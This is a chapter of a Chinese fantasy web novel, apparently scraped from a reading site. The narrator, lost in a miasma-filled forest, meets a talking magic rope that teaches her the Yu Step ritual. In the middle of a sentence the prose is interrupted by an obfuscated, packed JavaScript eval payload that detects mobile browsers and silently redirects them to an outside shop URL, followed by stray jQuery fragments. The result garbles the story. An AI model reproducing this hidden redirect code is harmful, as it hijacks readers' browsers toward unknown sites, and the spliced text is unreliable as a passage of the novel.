我一进来就后悔了。这地方从外面看上去也就是一大片笼着瘴气的枯木林,可是当人真正走进来,恐怕都会明白这块地界的属性为什么是无了。
同样有密集的尸体,死寂这个词更适合战场,而不是公墓。枪林弹雨如绞肉机般将人碾磨致死,武器的威力会放大人的残忍,杀会变成屠。
现在我觉得自己真走进了一片降温的战场,不能再进一步了。
我叫住张娖,劝道:“不行,我们还是离开。搞不好还没回去,就先交代在这。”
“才刚进来就要原路返回?”
“只怕再走几步就无路可走。”
她还要往前走,我一下抓住她的胳膊,她瘦到让我觉得自己简直像抓到了白骨精。可这只妖精还对着我笑,“你要出去就自己出去吧,我不强求你来。”她掰开我的手,真的自顾自地向前走了。
我站在原地只犹豫了一会儿,就硬着头皮跟了上去。恐怖片里的各自行动只是为了推进剧情,人这种生物害怕时绝对是想抱团的。就算我认为前方危险比后方大,可唯一的同伴往前走了、我还劝不回,我也只能跟上去!
我加快速度走向她,心想两个人最好是手牵手,岂知张娖明明只走了几步,我竟然追不上她。我立刻跑起来,连连喊她的名字,结果怎样也追不上那道背影。我意识到不对劲,猛然刹住脚步,前方没有张娖的身影,后方也不是进来的路口。
我迷路了,而且又成一个人了!
这地方像大雨将至的下午,阴沉沉的,很是压抑,幸运的是仍然看得见。我祈祷乌云不要送来一场大雨,也焦急地思考出去的方法。可纵然出去又如何?我仍然回不到阳间。我看向前方,或许我应该去找那颗珠子。说不准我不仅能带张娖回去,还能回到我真正该在的地方。
我从怀里拿出三样东西,针没用、铜铃也没用,缚妖索可能有用。毕竟它的确束缚过变成巨鸟的叙歌阳,自然是可以变长的。如果它能无限延长,那就能像阿里阿德涅之线助我一臂之力了[1]。
我重重地叹了一口气,又就近找了棵较粗的树,将绳子牢牢系在树干上,然后将绳子另一端系在左手手腕上,单手打结有些困难,我费了点时间。我走了十来步,测出绳子目前的长度,然后毫不犹豫地向前跨了一大步。
“谢天谢地!”
“何足挂齿?”
是女孩子的声音,我瞧遍四周,也没看到一个人、一只鬼,“谁、谁在说话?”
“在下。”
手腕感知到一阵细微的晃动,我难以置信地转过身看向仍在轻轻摇晃的绳索,“是、是你这条绳子?”
“对呀。”
“哇啊啊啊!”我大叫着开始解绳结。
“别解。”
我已经解开了,那绳子立刻泛起金光缠绕到我手腕上。我又惊慌着去解,“哎哟!”那鬼绳子还缠得更紧,磨得我皮肤生疼。
“我不解了!你别用力!”
它果然不再使劲,“在下绵不绝,可助你一臂之力,免得双双困死在这,落得个尸骨无存的下场。”
“你怎么不在我们进来前跑走、或者出声阻止我们?”
“在下也想。可惜我受制于人,若无差遣,是无法言语,也无法施展能为的。”她声音虽然稚嫩,但语气很是老成。
“受制于人?你受制于谁?”
我开始往前走,可绵绵不绝的绳子并不回答我这个问题,我又问,“那我怎么能用你?你现在又怎么可以说话了?”
绵不绝沉默半晌,我走了一会儿,才摇了摇手腕,“你怎么不说话?”
“事实上,我对这点也感到很是不解。按理说我的主人是无法隔这么远命令我的,我也确实不曾感知到他的命令。”
“你现在的主人?你说刘玄?”
“恕我不便透露。”
我撇撇嘴,“不说就不说。”
“我在其他人手里,和一条普通的麻绳没有区别。可在你手里,我能不断延伸。除非你做过我很久的主人,以至于我有了新主,仍对你这位旧主有些许反应。不过你没有都、”
它突然止了声,我又问道:“我没有什么?”
“恕我不便透露。”
我又撇撇嘴,“不说就不说。一个两个都是谜语人,哼!少套近乎,我也没当过你的主人。”
“别争论了。这地方是无,那么它没有东南西北,一旦进来,任何方向都是无限延伸。这样无边无际的空间,我是无法穷尽的。既然要找到那颗珠子,还请姑娘好好判断。”
我点点头,“你这个妖怪能变点吃的喝的给我吗?”
“从无到有是创世神祇才有的能力,我这样的小妖是指望不上的。”
我无言,来了没几天,又要挨饿了,下次我一定要随身带食物和水。现在大概几点?晚上八点、或九点?这里没有太阳月亮,没有白天黑夜,似乎也没有寒暖,至少我现在完全不觉得冷。或许我也不会饿?
肚子咕咕叫了。
“你可看得到林中的瘴气?”
“看得到。”
“那你能分清浓淡吗?”
我指了指左手前方,“那儿淡。”我又将手指向正前方,“那儿浓。”我最后指向右手前方,“那儿也淡。”
“原来你不是漫无目的地乱走。”
“既然这瘴气是摩尼珠生出来的,那自然是珠子周围瘴气最浓咯。这就跟灵山脚下妖怪最多最厉害一个道理。我还不赖吧!”
“此处瘴气稀薄,你还没受影响倒也正常。可到那儿你如何自保?”
我掏出怀里的铜铃,摇了摇,铃声一响,火花骤然炸开,又转瞬即逝。
“它应该能为我清出一点干净的路。”
“这铃铛好像谁也有一个。”绵不绝似乎因回忆停顿了片刻,又陡然严肃,“这铃铛现在别用,它叫禹步铃,可聚气驱邪,但净化能力与使用者的灵力强弱息息相关。你连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906581|213028||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
护身结界都布不了,等耗完这铃铛固有的净化力量,估计也发挥不了它的作用了。”
我皱了皱眉,“禹步?脚踏七星的大禹步法?”
“你知道?那你会走?”
“玩游戏知道的,但我不知道具体怎么走。”
“你一点祝由之术也不懂,竟然敢到这!我只能勉强教教你了,一炁混沌灌我形,禹步相推登阳明,天回地转履六甲,蹑罡履斗、”[2]
“停停停!”我听得云里雾里,打断了它的滔滔不绝,“太抽象了,你这样说,我也不会走。”
这绳子对我耐心解释起来,“昔年大禹治水,到了南海之滨,见一只神鸟施行禁咒,令巨大的岩石翻动。此鸟施咒时,经常走出特定的步法。大禹记下它的行动,将这种步法纳入方术之中,这便是禹步的来历。神鸟体形硕大,却姿态轻盈,这是该步伐的精髓。”
我点了点头,绵不绝接着道:“现在想象你身前有九块小地界,上中下左中右皆三块。五为中心,左三右七,二四为肩,六八为足,戴九履一。左脚踩五,右脚踩六再上七。”
我一一照做,绵不绝又道:“你记得数字的位置?”
“当然记得,这就是小九宫格呀,纵横斜相加都是十五,我还玩过更大的呢!”
“左脚踩八,右脚踩九,左脚踩一,右脚踩二。”
它语速不快不慢,再加上我心里也有数,走得很是平稳。
“左脚踩三,右脚踩四,左脚接着踩四。摇。”
这一次铜铃的声音沉郁如古钟,它这一响如巨石入湖,无数细碎火星的阵势如狂浪,在扩散中发出一阵又一阵的噼啪声。
转眼间,以我为中心的一大片瘴气由里到外都被清空了,最外围迸出一大圈火星,像极了天体的光环,璀璨夺目,却很快冰冷,只有些许余焰和更远处试图重新弥漫过来的瘴气碰出几点天星。
我头一次见到这小小铜铃的威力,自是十分震惊,“你这个妖怪怎么懂这些?”
手腕上已没有缠绕的绳结,正转身寻觅,那条泛着光的绳子又缠了上来,“你以为那些修道者怎么收服我们这些妖怪的呀?看多了也会了。这是一种走法,还有几种我见得少,不一定能说清。不说了,取灵珠要紧。”
“你不觉得我还挺厉害的嘛?”
“确实挺厉害的。”
“你有没有拿我和你的主人比?”
绵不绝不答,我收了铜铃,继续向前。
叙歌阳知道这铃铛的威力吗?怎么不用它清除刘府的尸瘴?如果他知道,怎么不教我?我又看了眼手腕,叙歌阳说这绳子是刘玄为赔罪给的,它能克制叙歌阳,他自己怎么不留下?至于现在要去找的东西也是张娖要找的,尽管她声称是我需要这颗珠子。
我越来越糊涂了,张娖现在究竟在哪?这颗珠子是不是另一个骗局?一抬头,我看到前方有一团极浓的幽紫色瘴气,如垂天之云压着那块地界,中心可见乳白色光晕。